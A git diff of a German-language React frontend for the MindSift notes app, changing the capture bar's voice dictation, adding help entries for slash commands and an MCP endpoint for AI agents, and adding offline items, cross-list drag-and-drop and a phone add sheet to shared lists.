-                ? `Eintrag direkt zu "${selectedList?.title || 'Liste'}" hinzufügen…`
+                ? `Zu „${selectedList?.title || 'Liste'}“ hinzufügen…`
                 : target === 'document'
-                ? 'Neue Workspace-Notiz direkt anlegen… (Enter / Shift+Enter für Mehrzeiler)'
-                : 'Quick Dump: Gedanke reinrotzen… (C / Enter, Shift+Enter für Mehrzeiler)'
+                ? 'Notiz erfassen…'
+                : 'Quick Dump…'
             }
-            className="w-full bg-transparent text-main placeholder-faint text-xs sm:text-sm focus:outline-none resize-none leading-5 py-0.5 overflow-y-auto"
+            className={`w-full bg-transparent text-main placeholder-faint text-xs sm:text-sm focus:outline-none resize-none leading-5 py-0.5 ${
+              isOverMaxHeight ? 'overflow-y-auto' : 'overflow-hidden'
+            }`}
             style={{ minHeight: '22px', maxHeight: '140px' }}
             autoComplete="off"
           />
@@ -334,19 +320,33 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
               </button>
             )}
 
-            {/* Voice Dictation Button */}
+            {/* Voice Dictation Button (hidden when voice input is off or not supported) */}
+            {voice.available && (
+              <>
+                {isListening && voice.mode === 'server' && (
+                  <VoiceWave getLevel={voice.level} className="h-3.5 text-accent" />
+                )}
                 <button
                   type="button"
                   onClick={toggleVoiceDictation}
-              title="Spracheingabe"
+                  disabled={isTranscribing}
+                  title={isListening ? 'Aufnahme beenden' : isTranscribing ? 'Wird erkannt…' : 'Spracheingabe'}
                   className={`w-6 h-6 capture-pill rounded-full flex items-center justify-center transition-colors ${
-                isListening
+                    isListening || isTranscribing
                       ? 'bg-accent-dim text-accent'
                       : 'text-muted hover:text-main hover:bg-panel-elevated'
                   }`}
                 >
-              {isListening ? <MicOff className="w-3 h-3" /> : <Mic className="w-3 h-3" />}
+                  {isTranscribing ? (
+                    <Loader2 className="w-3 h-3 animate-spin" />
+                  ) : isListening ? (
+                    <MicOff className="w-3 h-3" />
+                  ) : (
+                    <Mic className="w-3 h-3" />
+                  )}
                 </button>
+              </>
+            )}
 
             {/* Instant Send Button */}
             <button
@@ -365,7 +365,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
                 </>
               ) : (
                 <>
-                  <ArrowUp className="w-3 h-3" />
+                  <ArrowDown className="w-3 h-3" />
                   <span className="inline">
                     {hideTargetPicker || (fixedTarget || target) === 'inbox'
                       ? 'Quick Dump'
@@ -449,8 +449,8 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
                       type="button"
                       onClick={() => {
                         setTarget('list_item');
-                        if (!targetListId && lists.length > 0) {
-                          setTargetListId(lists[0].id);
+                        if (!targetListId && writableLists.length > 0) {
+                          setTargetListId(writableLists[0].id);
                         }
                       }}
                       className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
@@ -485,13 +485,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
                 </div>
 
                 {/* Optional Sub-Row: Shared List Picker */}
-                {lists.length > 0 && (
+                {writableLists.length > 0 && (
                   <div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5">
                     <span className="text-muted mr-1 flex items-center gap-1">
                       <ShoppingCart className="w-3 h-3 text-accent" />
                       Liste:
                     </span>
-                    {lists.map((lst) => {
+                    {writableLists.map((lst) => {
                       const isSelected = target === 'list_item' && targetListId === lst.id;
                       return (
                         <button

frontend/src/features/help/HelpView.tsx

@@ -159,6 +159,15 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
           'code',
           'callout',
           'divider',
+          'bild',
+          'extract',
+          'auslagern',
+          'zusammenführen',
+          'audio',
+          'sprachnotiz',
+          'diktat',
+          'image',
+          'foto',
           'auto-formatting',
         ],
         content: (
@@ -192,6 +201,22 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
                   <span className="text-accent font-bold">—</span>
                   <span>/divider (Trennlinie)</span>
                 </div>
+                <div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
+                  <span className="text-accent font-bold">🖼️</span>
+                  <span>/image oder /bild (Bild hochladen, fotografieren, einfügen oder per Link; nur im leeren Punkt)</span>
+                </div>
+                <div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
+                  <span className="text-accent font-bold">📤</span>
+                  <span>/extract oder /notiz (Punkt mit allen Unterpunkten in eine eigene Notiz auslagern, an seiner Stelle bleibt ein [[Link]])</span>
+                </div>
+                <div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
+                  <span className="text-accent font-bold">🎙️</span>
+                  <span>/audio (Sprachnotiz aufnehmen: grüner Knopf startet, roter speichert; oder Audiodatei hochladen)</span>
+                </div>
+                <div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
+                  <span className="text-accent font-bold">🗣️</span>
+                  <span>/diktat (sprechen statt tippen: startet sofort, Tipp auf „Stopp“ setzt den Text in den Punkt)</span>
+                </div>
               </div>
             </div>
             <div className="pt-2 border-t border-border">
@@ -467,8 +492,8 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
       {
         id: 'triage-webhooks',
         category: 'triage',
-        title: 'Externe Erfassung per Webhooks & API',
-        subtitle: 'Gedanken von Siri, Home Assistant, n8n oder curl einspeisen',
+        title: 'Webhooks, API & KI-Agenten (MCP)',
+        subtitle: 'Gedanken von Siri, Home Assistant, n8n oder curl einspeisen; Aufgaben und Listen für Claude Code, Codex & Co.',
         icon: Bell,
         keywords: [
           'webhooks',
@@ -479,11 +504,19 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
           'shortcuts',
           'automation',
           'curl',
+          'mcp',
+          'ki',
+          'agent',
+          'claude',
+          'codex',
         ],
         content: (
           <div className="space-y-2 text-muted leading-relaxed">
             <p>
-              Unter <em className="text-main">Kontoeinstellungen → Private Webhooks &amp; Export</em> kannst du persönliche API-Schlüssel erzeugen. Pro Schlüssel legst du fest, was er einliefern darf: Gedanken in die Inbox, Aufgaben direkt oder Einträge in Listen. Lesen kann ein Schlüssel nie.
+              Unter <em className="text-main">Kontoeinstellungen → Webhooks, KI-Agenten &amp; Export</em> kannst du persönliche API-Schlüssel erzeugen. Pro Schlüssel legst du mit Schaltern fest, was er darf: Gedanken in die Inbox, Aufgaben oder Listeneinträge einliefern (Webhooks) oder für KI-Agenten Aufgaben und Listen lesen und ändern. Notizen erreicht ein Schlüssel nie.
+            </p>
+            <p>
+              <strong className="text-main">KI-Agenten:</strong> MindSift ist ein MCP-Server (<code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">POST /api/v1/mcp</code>). Claude Code, OpenAI Codex, Claude Desktop, Cursor und eigene Agenten können damit offene Aufgaben auslesen, abhaken und anlegen sowie Einkaufs- und Checklisten führen. Die Einstellungen zeigen den fertigen Befehl bzw. die Konfiguration für den jeweiligen Agenten; der Agent sieht nur die Werkzeuge, für die der Schlüssel freigegeben ist.
             </p>
             <p>
               Mit dem Feld <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">"target"</code> wählst du das Ziel: <code className="font-mono">triage</code> (Standard), <code className="font-mono">task</code> (optional mit <code className="font-mono">taskListId</code>) oder <code className="font-mono">list_item</code> (mit <code className="font-mono">listId</code>). Der Simulator in den Einstellungen zeigt passende Beispiele.
@@ -631,7 +664,7 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
                 <strong className="text-main">Eigenes Theme:</strong> Vorlage herunterladen oder einfügen, Farben und Rundungen anpassen, als <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">.css</code>-Datei hochladen oder einfügen und „Speichern &amp; aktivieren“. Das Theme greift sofort und steht dir auf allen Geräten zur Verfügung.
               </li>
               <li>
-                <strong className="text-main">Server-Backups:</strong> Hat die Administration automatische Backups eingeschaltet, findest du unter <em>Kontoeinstellungen → Private Webhooks &amp; Export</em> die täglichen Sicherungen deiner Daten. Du kannst sie herunterladen oder wieder einspielen, auch nur für einzelne Bereiche wie Listen oder Aufgaben.
+                <strong className="text-main">Server-Backups:</strong> Hat die Administration automatische Backups eingeschaltet, findest du unter <em>Kontoeinstellungen → Webhooks, KI-Agenten &amp; Export</em> die täglichen Sicherungen deiner Daten. Du kannst sie herunterladen oder wieder einspielen, auch nur für einzelne Bereiche wie Listen oder Aufgaben.
               </li>
               <li>
                 <strong className="text-main">Ohne Internet:</strong> Als App installiert (oder im Browser) startet MindSift auch offline mit dem zuletzt geladenen Stand. Gedanken erfassen sowie Aufgaben und Listeneinträge abhaken geht weiter; ein Hinweis unten zeigt, wie viele Änderungen warten, und sie werden automatisch übertragen, sobald die Verbindung zurück ist.

frontend/src/features/lists/SharedListsView.tsx

@@ -4,13 +4,15 @@ import {
   Trash2,
   Users,
   Check,
-  Radio,
   Sparkles,
   X,
   ShoppingCart,
+  CloudOff,
 } from 'lucide-react';
 import { ListItem, SharedList, Team, User, WSMessage } from '../../lib/types';
 import { api, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
+import { readViewSession, writeViewSession } from '../../lib/viewSession';
+import { OFFLINE_ITEM_PREFIX, pendingListItems } from '../../lib/offline';
 import { UnifiedShareModal } from '../../components/UnifiedShareModal';
 import { AvatarStack, AvatarPerson } from '../../components/AvatarStack';
 import { CountBadge } from '../../components/CountBadge';
@@ -83,7 +85,13 @@ export function deduplicateItems(items: ListItem[]): ListItem[] {
 export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGlobal, currentUser, initialListId }) => {
   const { setGroups, setPrimaryAction } = useMobileActions();
   const [lists, setLists] = useState<SharedList[]>([]);
-  const [activeListId, setActiveListId] = useState<string>(initialListId || '');
+  // The open list survives switching to other tabs (like the workspace's open note)
+  const [activeListId, setActiveListId] = useState<string>(
+    () => initialListId || readViewSession<{ listId: string }>('lists').listId || ''
+  );
+  useEffect(() => {
+    if (activeListId) writeViewSession('lists', { listId: activeListId });
+  }, [activeListId]);
 
   useEffect(() => {
     if (initialListId) {
@@ -113,9 +121,20 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
   const [workspaceTags, setWorkspaceTags] = useState<string[]>([]);
   const inputRef = useRef<HTMLInputElement | null>(null);
 
+  // Phones: the add form lives in a sheet opened by "+" instead of taking room above the list
+  const [isPhone, setIsPhone] = useState(() => typeof window !== 'undefined' && window.innerWidth < 640);
+  const [showAddSheet, setShowAddSheet] = useState(false);
+  useEffect(() => {
+    const onResize = () => setIsPhone(window.innerWidth < 640);
+    window.addEventListener('resize', onResize);
+    return () => window.removeEventListener('resize', onResize);
+  }, []);
+
   const [draggingItemId, setDraggingItemId] = useState<string | null>(null);
   const [dragOverItemTarget, setDragOverItemTarget] = useState<{ itemId: string; position: 'before' | 'after' } | null>(null);
   const [dragOverCategoryTarget, setDragOverCategoryTarget] = useState<string | null>(null);
+  // List tab a dragged entry hovers over (dropping moves it into that list)
+  const [dragOverListTab, setDragOverListTab] = useState<string | null>(null);
 
   const realtimeConnRef = useRef<any>(null);
 
@@ -130,9 +149,14 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
           // fallback
         }
       }
+      // Entries added offline and not sent yet stay visible (also after a reload without connection)
+      const pending = pendingListItems();
       const deduplicated = all.map((l) => ({
         ...l,
-        items: deduplicateItems(l.items || []),
+        items: deduplicateItems([
+          ...pending.filter((p) => p.listId === l.id).map((p) => ({ ...p, isCompleted: false, sortOrder: 0 }) as ListItem),
+          ...(l.items || []),
+        ]),
       }));
       setLists(deduplicated);
       if (initialListId && deduplicated.some((l) => l.id === initialListId)) {
@@ -260,6 +284,22 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
     };
   }, [activeList?.id]);
 
+  // Back online: once the outbox has sent the entries added offline, show the server's version
+  const listsRef = useRef(lists);
+  listsRef.current = lists;
+  const loadListsRef = useRef(loadLists);
+  loadListsRef.current = loadLists;
+  useEffect(() => {
+    const onOutbox = () => {
+      const shown = listsRef.current.some((l) => l.items.some((i) => i.id.startsWith(OFFLINE_ITEM_PREFIX)));
+      const queued = new Set(pendingListItems().map((p) => p.id));
+      const sent = listsRef.current.some((l) => l.items.some((i) => i.id.startsWith(OFFLINE_ITEM_PREFIX) && !queued.has(i.id)));
+      if (shown && sent) void loadListsRef.current();
+    };
+    window.addEventListener('mindsift:outbox-changed', onOutbox);
+    return () => window.removeEventListener('mindsift:outbox-changed', onOutbox);
+  }, []);
+
   useEffect(() => {
     const handleGlobalWs = (e: any) => {
       const msg = e.detail;
@@ -281,6 +321,8 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
 
   const handleAddItem = async (e: React.FormEvent) => {
     e.preventDefault();
+    // Keep the field (and the phone keyboard) for the next item: refocus inside the tap
+    inputRef.current?.focus({ preventScroll: true });
     if (!activeList || !newItemText.trim() || isSubmittingItem) return;
     setIsSubmittingItem(true);
     triggerHaptic(15);
@@ -378,6 +420,35 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
     setDraggingItemId(item.id);
   };
 
+  const canWriteList = (lst: SharedList) => lst.isOwner || lst.role !== 'viewer';
+
+  // An entry dragged onto another list's tab lands at the top of that list, like a new entry
+  const handleDropOnListTab = async (e: React.DragEvent, target: SharedList) => {
+    e.preventDefault();
+    const itemId = e.dataTransfer.getData('application/mindsift-list-item-id') || draggingItemId;
+    setDraggingItemId(null);
+    setDragOverItemTarget(null);
+    setDragOverCategoryTarget(null);
+    setDragOverListTab(null);
+    const source = activeList;
+    const item = source?.items.find((i) => i.id === itemId);
+    if (!source || !item || target.id === source.id || !canWriteList(target)) return;
+    triggerHaptic(15);
+    setLists((prev) =>
+      prev.map((l) => {
+        if (l.id === source.id) return { ...l, items: l.items.filter((i) => i.id !== item.id) };
+        if (l.id === target.id) return { ...l, items: deduplicateItems([{ ...item, listId: target.id }, ...l.items]) };
+        return l;
+      })
+    );
+    try {
+      await api.moveListItem(source.id, item.id, target.id);
+    } catch {
+      loadLists();
+    }
+    onRefreshGlobal?.();
+  };
+
   const handleItemDragOver = (e: React.DragEvent, targetItemId: string) => {
     e.preventDefault();
     e.stopPropagation();
@@ -766,13 +837,20 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
     return result;
   }, [openItems]);
 
+  const focusNewItemInput = () => {
+    if (window.innerWidth < 640) {
+      setShowAddSheet(true);
+      return;
+    }
+    inputRef.current?.focus({ preventScroll: true });
+    inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
+  };
+
   // Register context-sensitive mobile menu groups behind the MindSift logo
   useEffect(() => {
     setPrimaryAction(() => {
-      setTimeout(() => {
-        inputRef.current?.focus();
-        inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
-      }, 60);
+      // Focus right inside the tap: iOS only opens the keyboard for focus() during the user gesture
+      focusNewItemInput();
     });
 
     setGroups([
@@ -786,10 +864,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
             icon: <Plus className="w-4 h-4 text-accent" />,
             variant: 'accent',
             onClick: () => {
-              setTimeout(() => {
-                inputRef.current?.focus();
-                inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
-              }, 60);
+              focusNewItemInput();
             },
           },
           {
@@ -849,6 +924,116 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
     ]);
   }, [lists, activeList, completedItems.length, setGroups, setPrimaryAction]);
 
+  // The add form's fields: inline on the desktop, on phones in a sheet that "+" opens (no fixed field
+  // taking room above the list); the sheet brings its own buttons
+  const renderAddItemFields = (withButton: boolean) =>
+    activeList ? (
+      <>
+        {/* The item is the main field: a real input like the quantity next to it, with the + inside */}
+        <div className="relative flex-1 w-full min-w-0">
+          <Plus className="w-4 h-4 text-accent absolute left-3 top-1/2 -translate-y-1/2 pointer-events-none" />
+          <input
+            ref={inputRef}
+            type="text"
+            autoFocus={!withButton}
+            value={newItemText}
+            onChange={(e) => {
+              setNewItemText(e.target.value);
+              setCursorPosition(e.target.selectionStart);
+              setShowSuggestions(true);
+              setSuggestionIndex(0);
+            }}
+            onKeyDown={handleInputKeyDown}
+            onSelect={(e) => {
+              setCursorPosition(e.currentTarget.selectionStart);
+            }}
+            onFocus={(e) => {
+              setCursorPosition(e.target.selectionStart);
+              setShowSuggestions(true);
+            }}
+            onBlur={() => {
+              setTimeout(() => setShowSuggestions(false), 200);
+            }}
+            placeholder={`Was soll auf „${activeList.title}“? (z. B. Hafermilch #Kühlregal)`}
+            // 16px on phones: iOS zooms into smaller fields and the layout jumps under the keyboard
+            className="w-full h-11 sm:h-9 pl-9 pr-3 input-field text-base sm:text-sm"
+          />
+
+          {/* Hashtag Autocomplete Suggestions Dropdown */}
+          {showSuggestions && activeHashtagQuery && matchingSuggestions.length > 0 && (
+            <div className="absolute left-6 top-full mt-2 w-64 max-h-56 overflow-y-auto bg-panel-elevated border border-border rounded-btn shadow-xl py-1 z-50 animate-in fade-in zoom-in-95 duration-100">
+              <div className="px-2.5 py-1 text-[10px] uppercase font-semibold text-faint tracking-wider border-b border-border/50">
+                Hashtags
+              </div>
+              {matchingSuggestions.map((tag, idx) => {
+                const isSelected = idx === suggestionIndex;
+                return (
+                  <button
+                    key={tag}
+                    type="button"
+                    onMouseDown={(e) => {
+                      e.preventDefault();
+                      applySuggestion(tag);
+                    }}
+                    className={`w-full text-left px-3 py-2 sm:py-1.5 text-xs flex items-center justify-between transition-colors ${
+                      isSelected
+                        ? 'bg-accent/20 text-accent font-medium'
+                        : 'text-main hover:bg-panel-hover'
+                    }`}
+                  >
+                    <span className="flex items-center gap-1.5">
+                      <span className="text-accent font-mono font-semibold">#</span>
+                      <span>{tag}</span>
+                    </span>
+                    {isSelected && (
+                      <span className="text-[10px] text-faint font-mono">↵</span>
+                    )}
+                  </button>
+                );
+              })}
+            </div>
+          )}
+        </div>
+        <div className="flex items-center gap-2 w-full sm:w-auto">
+          <input
+            type="text"
+            inputMode="decimal"
+            value={newItemQty}
+            onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))}
+            placeholder="Menge"
+            aria-label="Menge (optional)"
+            className="w-24 sm:w-20 h-11 sm:h-9 px-2.5 input-field text-base sm:text-sm"
+          />
+          {withButton && (
+            <button
+              type="submit"
+              disabled={isSubmittingItem || !newItemText.trim()}
+              className="btn-primary flex-1 sm:flex-none h-11 sm:h-9 px-4 text-sm sm:text-xs disabled:opacity-40 disabled:cursor-not-allowed flex items-center justify-center gap-1 flex-shrink-0"
+            >
+              {isSubmittingItem ? 'Wird hinzugefügt…' : 'Hinzufügen'}
+            </button>
+          )}
+        </div>
+      </>
+    ) : null;
+
+  // Connection pill in the same look as the notes' header
+  const livePill = (
+    <span
+      className="inline-flex items-center gap-1 h-7 px-2 rounded-btn text-[11px] bg-panel text-muted"
+      title={
+        !wsConnected
+          ? 'Keine Live-Verbindung – Änderungen anderer erscheinen nach dem Neuladen'
+          : realtimeTransport === 'sse'
+          ? 'Live-Verbindung über Server-Sent Events (WebSocket wird blockiert)'
+          : 'Live-Verbindung über WebSocket'
+      }
+    >
+      <span className={`w-1.5 h-1.5 rounded-full ${wsConnected ? 'bg-status-ok' : 'bg-status-warn'}`} />
+      {wsConnected ? 'Live' : 'Offline'}
+    </span>
+  );
+
   return (
     <div className="w-full space-y-3">
       {/* Top Header: List Tabs & Actions (Desktop) */}
@@ -861,9 +1046,21 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
             return (
               <div
                 key={lst.id}
+                onDragOver={(e) => {
+                  if (!draggingItemId || isSelected || !canWriteList(lst)) return;
+                  e.preventDefault();
+                  e.dataTransfer.dropEffect = 'move';
+                  if (dragOverListTab !== lst.id) setDragOverListTab(lst.id);
+                }}
+                onDragLeave={() => {
+                  if (dragOverListTab === lst.id) setDragOverListTab(null);
+                }}
+                onDrop={(e) => handleDropOnListTab(e, lst)}
                 className={`relative group h-8 flex items-center border rounded-btn transition-colors ${
                   isSelected ? 'bg-panel border-accent text-main' : 'bg-canvas border-border text-muted hover:text-main'
-                } ${isSelected && lists.length > 1 ? 'pr-1' : ''}`}
+                } ${isSelected && lists.length > 1 ? 'pr-1' : ''} ${
+                  dragOverListTab === lst.id ? 'ring-2 ring-accent/60 bg-accent/10 text-main' : ''
+                }`}
               >
                 <button
                   onClick={() => setActiveListId(lst.id)}
@@ -951,30 +1148,13 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
             );
           })()}
 
-          {/* Live Sync Status */}
-          <div
-            className={`h-8 w-8 flex items-center justify-center rounded-btn border transition-colors ${
-              wsConnected
-                ? realtimeTransport === 'sse'
-                  ? 'bg-teal-500/10 border-teal-500/30 text-teal-400'
-                  : 'bg-emerald-500/10 border-emerald-500/30 text-emerald-500'
-                : 'bg-canvas border-border text-muted'
-            }`}
-            title={
-              wsConnected
-                ? realtimeTransport === 'sse'
-                  ? 'Live synchronisiert (Server-Sent Events / Proxy-Stream)'
-                  : 'Live synchronisiert (WebSocket online)'
-                : 'Offline'
-            }
-          >
-            <Radio className={`w-3.5 h-3.5 ${wsConnected ? 'animate-pulse' : ''}`} />
-          </div>
+          {livePill}
         </div>
       </div>
 
       {/* Mobile Compact Header Bar (List switching & actions live in MindSift Logo Menu) */}
-      <div className="flex sm:hidden items-center justify-between gap-2 px-3 py-2 rounded-btn bg-panel border border-border !mt-0">
+      {/* Same height with or without the 36 px share button (Tasks, Shopping lists) */}
+      <div className="flex sm:hidden items-center justify-between gap-2 px-3 py-2 min-h-[54px] rounded-btn bg-panel border border-border !mt-0">
         <div className="flex items-center gap-2 min-w-0">
           <span className="text-sm font-semibold text-main truncate">
             {activeList ? `${activeList.icon} ${activeList.title}` : '🛒 Einkaufsliste'}
@@ -996,24 +1176,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
               <Users className="w-4 h-4 text-accent" />
             </button>
           )}
-          <div
-            className={`h-9 w-9 flex items-center justify-center rounded-btn border transition-colors ${
-              wsConnected
-                ? realtimeTransport === 'sse'
-                  ? 'bg-teal-500/10 border-teal-500/30 text-teal-400'
-                  : 'bg-emerald-500/10 border-emerald-500/30 text-emerald-500'
-                : 'bg-canvas border-border text-muted'
-            }`}
-            title={
-              wsConnected
-                ? realtimeTransport === 'sse'
-                  ? 'Live synchronisiert (Server-Sent Events / Proxy-Stream)'
-                  : 'Live synchronisiert (WebSocket online)'
-                : 'Offline'
-            }
-          >
-            <Radio className={`w-3.5 h-3.5 ${wsConnected ? 'animate-pulse' : ''}`} />
-          </div>
+          {livePill}
         </div>
       </div>
 
@@ -1052,90 +1215,29 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
       {/* Active Shared List View */}
       {activeList ? (
         <div className="space-y-4">
-          {/* Quick-Add Form */}
+          {/* Phones: "+" opens the add form as a sheet; it stays open for the next item */}
+          {isPhone && showAddSheet && (
+            <FormSheet
+              title={`Auf „${activeList.title}“`}
+              icon={<ShoppingCart className="w-4 h-4 text-accent" />}
+              onClose={() => setShowAddSheet(false)}
+              onSubmit={handleAddItem}
+              submitLabel="Hinzufügen"
+              busy={isSubmittingItem}
+            >
+              <div className="flex flex-col gap-2 relative">{renderAddItemFields(false)}</div>
+            </FormSheet>
+          )}
+
+          {/* Quick-Add Form (desktop; on phones it is the sheet above) */}
+          {!isPhone && (
             <form
               onSubmit={handleAddItem}
-            className="flex flex-col sm:flex-row items-center gap-2 panel-surface p-2 sm:p-1.5 relative"
+              className="flex flex-col sm:flex-row items-stretch sm:items-center gap-2 panel-surface p-2 relative"
             >
-            <div className="relative flex items-center gap-2 flex-1 w-full px-1.5">
-              <Plus className="w-4 h-4 text-accent flex-shrink-0" />
-              <input
-                ref={inputRef}
-                type="text"
-                value={newItemText}
-                onChange={(e) => {
-                  setNewItemText(e.target.value);
-                  setCursorPosition(e.target.selectionStart);
-                  setShowSuggestions(true);
-                  setSuggestionIndex(0);
-                }}
-                onKeyDown={handleInputKeyDown}
-                onSelect={(e) => {
-                  setCursorPosition(e.currentTarget.selectionStart);
-                }}
-                onFocus={(e) => {
-                  setCursorPosition(e.target.selectionStart);
-                  setShowSuggestions(true);
-                }}
-                onBlur={() => {
-                  setTimeout(() => setShowSuggestions(false), 200);
-                }}
-                placeholder={`Eintrag zu "${activeList.title}" hinzufügen (z. B. Hafermilch #Kühlregal)…`}
-                className="flex-1 bg-transparent py-1.5 sm:py-1 text-sm text-main placeholder-faint focus:outline-none"
-              />
-
-              {/* Hashtag Autocomplete Suggestions Dropdown */}
-              {showSuggestions && activeHashtagQuery && matchingSuggestions.length > 0 && (
-                <div className="absolute left-6 top-full mt-2 w-64 max-h-56 overflow-y-auto bg-panel-elevated border border-border rounded-btn shadow-xl py-1 z-50 animate-in fade-in zoom-in-95 duration-100">
-                  <div className="px-2.5 py-1 text-[10px] uppercase font-semibold text-faint tracking-wider border-b border-border/50">
-                    Hashtags
-                  </div>
-                  {matchingSuggestions.map((tag, idx) => {
-                    const isSelected = idx === suggestionIndex;
-                    return (
-                      <button
-                        key={tag}
-                        type="button"
-                        onMouseDown={(e) => {
-                          e.preventDefault();
-                          applySuggestion(tag);
-                        }}
-                        className={`w-full text-left px-3 py-2 sm:py-1.5 text-xs flex items-center justify-between transition-colors ${
-                          isSelected
-                            ? 'bg-accent/20 text-accent font-medium'
-                            : 'text-main hover:bg-panel-hover'
-                        }`}
-                      >
-                        <span className="flex items-center gap-1.5">
-                          <span className="text-accent font-mono font-semibold">#</span>
-                          <span>{tag}</span>
-                        </span>
-                        {isSelected && (
-                          <span className="text-[10px] text-faint font-mono">↵</span>
-                        )}
-                      </button>
-                    );
-                  })}
-                </div>
-              )}
-            </div>
-            <div className="flex items-center gap-1.5 w-full sm:w-auto justify-end px-1 sm:px-0">
-              <input
-                type="text"
-                value={newItemQty}
-                onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))}
-                placeholder="Menge (z.B. 2)"
-                className="flex-1 sm:flex-none sm:w-28 h-9 sm:h-7 px-2.5 sm:px-2 input-field text-xs"
-              />
-              <button
-                type="submit"
-                disabled={isSubmittingItem || !newItemText.trim()}
-                className="btn-primary h-9 sm:h-7 px-3.5 sm:px-3 text-xs disabled:opacity-40 disabled:cursor-not-allowed flex items-center gap-1 flex-shrink-0"
-              >
-                {isSubmittingItem ? 'Wird hinzugefügt…' : 'Hinzufügen'}
-              </button>
-            </div>
+              {renderAddItemFields(true)}
             </form>
+          )}
 
           {/* Open Items Grouped by Hashtags / Categories */}
           {openItems.length === 0 ? (
@@ -1193,6 +1295,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
                             setDraggingItemId(null);
                             setDragOverItemTarget(null);
                             setDragOverCategoryTarget(null);
+                            setDragOverListTab(null);
                           }}
                           onDragOver={(e) => handleItemDragOver(e, item.id)}
                           onDragLeave={(e) => handleItemDragLeave(e, item.id)}
@@ -1233,6 +1336,11 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
                             <span className="text-sm font-medium text-main truncate">
                               {displayContent}
                             </span>
+                            {item.id.startsWith(OFFLINE_ITEM_PREFIX) && (
+                              <span title="Offline hinzugefügt – wird gesendet, sobald die Verbindung zurück ist">
+                                <CloudOff className="w-3.5 h-3.5 text-faint shrink-0" />
+                              </span>
+                            )}
 
                             {editingQtyItemId === item.id ? (
                               <div className="flex items-center gap-1" onClick={(e) => e.stopPropagation()}>
@@ -1252,7 +1360,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
                                   onBlur={async () => {
                                     await handleSaveQuantity(item.id, editingQtyValue);
                                   }}
-                                  className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
+                                  className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
                                   placeholder="Menge"
                                 />
                               </div>
@@ -1366,7 +1474,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
                               onBlur={async () => {
                                 await handleSaveQuantity(item.id, editingQtyValue);
                               }}
-                              className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
+                              className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
                               placeholder="Menge"
                             />
                           </div>

frontend/src/features/settings/AdminSettingsView.tsx

@@ -15,9 +15,13 @@ import {
   UserPlus,
   Building2,
   Pencil,
+  Link2,
+  Clock,
+  X,
 } from 'lucide-react';
 import {
   Organization,
+  RegistrationMode,
   SharingMode,
   SystemSettings,
   User,
@@ -29,6 +33,7 @@ import { passwordProblem } from '../../lib/password';
 import { UserAvatar } from '../../components/UserAvatar';
 import { ToggleSwitch } from '../../components/ToggleSwitch';
 import { BackupAdminCard } from './BackupAdminCard';
+import { VoiceStatusCard } from './VoiceStatusCard';
 import { CountBadge } from '../../components/CountBadge';
 
 interface AdminSettingsViewProps {
@@ -77,6 +82,12 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
   const [inviteEmail, setInviteEmail] = useState('');
   const [inviteRole, setInviteRole] = useState<UserRole>('member');
   const [inviteOrg, setInviteOrg] = useState('');
+  // A link for several people (1 = classic single-use code)
+  const [inviteMaxUses, setInviteMaxUses] = useState(1);
+  // "Per E-Mail einladen": which invite the address field is open for
+  const [mailInviteId, setMailInviteId] = useState<string | null>(null);
+  const [mailInviteTo, setMailInviteTo] = useState('');
+  const [mailInviteBusy, setMailInviteBusy] = useState(false);
 
   // --- Organizations State ---
   const [organizations, setOrganizations] = useState<Organization[]>([]);
